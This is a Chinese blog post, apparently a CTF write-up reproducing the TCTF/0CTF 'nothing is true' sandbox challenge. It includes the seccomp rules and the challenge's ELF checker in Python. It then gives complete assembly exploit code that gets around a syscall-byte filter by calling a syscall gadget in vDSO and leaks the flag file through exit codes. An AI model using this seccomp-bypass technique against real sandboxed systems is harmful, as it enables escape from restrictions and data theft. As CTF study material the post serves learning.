序
被打傻了,MacOS内核,浏览器v8看都看不懂,好不容易看见看得懂的沙盒题,硬是没明白在干嘛,只能赛后看看大哥们的wp复现一下。
分析限制
先patch一下程序,检查一下沙盒:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1b 0xc000003e if (A != ARCH_X86_64) goto 0029
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x22 0xffffffff if (A != 0xffffffff) goto 0039
0005: 0x15 0x20 0x00 0x00000003 if (A == close) goto 0038
0006: 0x15 0x1f 0x00 0x0000000b if (A == munmap) goto 0038
0007: 0x15 0x1e 0x00 0x0000000c if (A == brk) goto 0038
0008: 0x15 0x1d 0x00 0x0000003c if (A == exit) goto 0038
0009: 0x15 0x1c 0x00 0x000000e7 if (A == exit_group) goto 0038
0010: 0x15 0x00 0x04 0x00000009 if (A != mmap) goto 0015
0011: 0x20 0x00 0x00 0x00000024 A = prot >> 32 # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x00 0x1a 0x00000000 if (A != 0x0) goto 0039
0013: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x17 0x18 0x00000002 if (A == 0x2) goto 0038 else goto 0039
0015: 0x15 0x00 0x04 0x0000003b if (A != execve) goto 0020
0016: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # execve(filename, argv, envp)
0017: 0x15 0x00 0x15 0x00000000 if (A != 0x0) goto 0039
0018: 0x20 0x00 0x00 0x00000010 A = filename # execve(filename, argv, envp)
0019: 0x15 0x12 0x13 0x00000000 if (A == 0x0) goto 0038 else goto 0039
0020: 0x15 0x00 0x12 0x00000002 if (A != open) goto 0039
0021: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # open(filename, flags, mode)
0022: 0x15 0x00 0x10 0x00000000 if (A != 0x0) goto 0039
0023: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode)
0024: 0x15 0x00 0x0e 0x00031337 if (A != 0x31337) goto 0039
0025: 0x20 0x00 0x00 0x0000001c A = flags >> 32 # open(filename, flags, mode)
0026: 0x15 0x00 0x0c 0x00000000 if (A != 0x0) goto 0039
0027: 0x20 0x00 0x00 0x00000018 A = flags # open(filename, flags, mode)
0028: 0x15 0x09 0x0a 0x00000000 if (A == 0x0) goto 0038 else goto 0039
0029: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0039
0030: 0x20 0x00 0x00 0x00000000 A = sys_number
0031: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0038
0032: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0038
0033: 0x15 0x04 0x00 0x00000004 if (A == stat) goto 0038
0034: 0x15 0x03 0x00 0x0000002d if (A == recvfrom) goto 0038
0035: 0x15 0x02 0x00 0x0000005a if (A == chmod) goto 0038
0036: 0x15 0x01 0x00 0x0000005b if (A == fchmod) goto 0038
0037: 0x15 0x00 0x01 0x000000fc if (A != ioprio_get) goto 0039
0038: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0039: 0x06 0x00 0x00 0x00000000 return KILL
检查python文件,发现会对传入的elf文件进行检测:
def check_segments(elf):
for seg in elf.iter_segments():
if seg.header.p_filesz > 0x10000 or seg.header.p_memsz > 0x10000:
print('Segment too large')
return False
elif seg.header.p_type == 'PT_INTERP' or seg.header.p_type == 'PT_DYNAMIC':
print('No dynamic link')
return False
elif seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & P_FLAGS.PF_W and seg.header.p_flags & P_FLAGS.PF_X:
print('W^X')
return False
elif seg.header.p_type == 'PT_GNU_STACK' and seg.header.p_flags & P_FLAGS.PF_X:
print('No executable stack')
return False
return True
检查是否存在大于0x10000的段,是否存在动态链接库,是否存在同时满足可写可执行的段,栈是否可执行;
def check_elf(data):
if len(data) < 0x40:
print('Incomplete ELF Header')
return False
if not data.startswith(b'\x7fELF\x02\x01\x01' + b'\x00'*9):
print('Invalid ELF Magic')
return False
if b'\xcd\x80' in data or b'\x0f\x05' in data:
print('Bad Instruction')
return False
if not check_bytes(data, b'\xcd') or not check_bytes(data, b'\x80') or not check_bytes(data, b'\x0f') or not check_bytes(data, b'\x05'):
print('Bad Instruction')
return False
elf = ELFFile(BytesIO(data))
if ((elf.header.e_type != 'ET_EXEC' and elf.header.e_type != 'ET_DYN')
or elf.header.e_version != 'EV_CURRENT'
or elf.header.e_ehsize != 0x40
or elf.header.e_phoff != 0x40
or elf.header.e_phnum <= 0
or elf.header.e_phnum >= 100):
print('Bad ELF Header')
return False
return check_segments(elf)
int 80
和syscall
指令。
绕过限制
int 80
和syscall
指令来实现orw绕过沙盒读取flag文件。
首先我们发现open
的第一个参数是0x31337
,也就是说我们需要先使用mmap
函数来分配0x31000
实现写入flag
字符串,接下来就是使用open
和mmap
来打开文件和将文件映射到内存中,接下来使用exit
测信道打印出flag值。但是由于检测过程中禁用了syscall
指令,因此我们需要考虑别的办法是实现该指令。我们查看vdso
d06: 0f 05 syscall
d08: 31 d2 xor %edx,%edx
d0a: 31 c9 xor %ecx,%ecx
d0c: 31 f6 xor %esi,%esi
d0e: 31 ff xor %edi,%edi
d10: 45 31 db xor %r11d,%r11d
d13: c3 ret
vdso
的地址就存在栈上,我们只需要动态查找到vdso
.global _start
.data
__syscall: .quad 0x0
__flag : .string "flag"
__end : .byte 0x00
.text
.intel_syntax noprefix
_start:
mov rdi,rsp
__search:
mov rax,[rdi]
cmp rax,0x21
je __search_end
add rdi,0x8
jmp __search
__search_end:
add rdi,0x8
mov rdi,[rdi] /* vdso */
push rdi
pop rsi
lea rdx, [rsi + 0xd06]
lea rdi,[rip + __syscall]
mov [rdi],rdx
/* mmap(0x31000,0x1000,PROT_WRITE,MAP_PRIVATE|MAP_ANON|MAP_FIXED,-1,0); */
mov rdi,0x31000
mov rsi,0x1000
mov rdx,0x2
mov r10,0x32
mov r8,-1
xor r9,r9
mov rax,0x9
call [rip + __syscall]
/* open */
mov rdi,0x31337
lea rsi,[rip + __flag]
mov rax,[rsi]
mov [rdi],rax
mov rdi,0x31337
xor rsi,rsi
mov rax,2
call [rip + __syscall]
/* mmap */
mov rdi,0x31000
mov rsi,0x1000
mov rdx,0x2
mov r10,0x12
mov r8,0x3
xor r9,r9
mov rax,0x9
call [rip + __syscall]
/**/
/* exit */
mov rdi,0x31000
add rdi, offset
movzx rdi,byte ptr [rdi]
mov rax,60
call [rip + __syscall]
offset
- THE END -
最后修改:2023年12月14日
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://he.tld1027.com/2023/12/14/%e3%80%90tctf-0ctf%e3%80%91nothing-is-true%e5%a4%8d%e7%8e%b0/
Arihx
T1d哥哥太crazy了
😨 🤥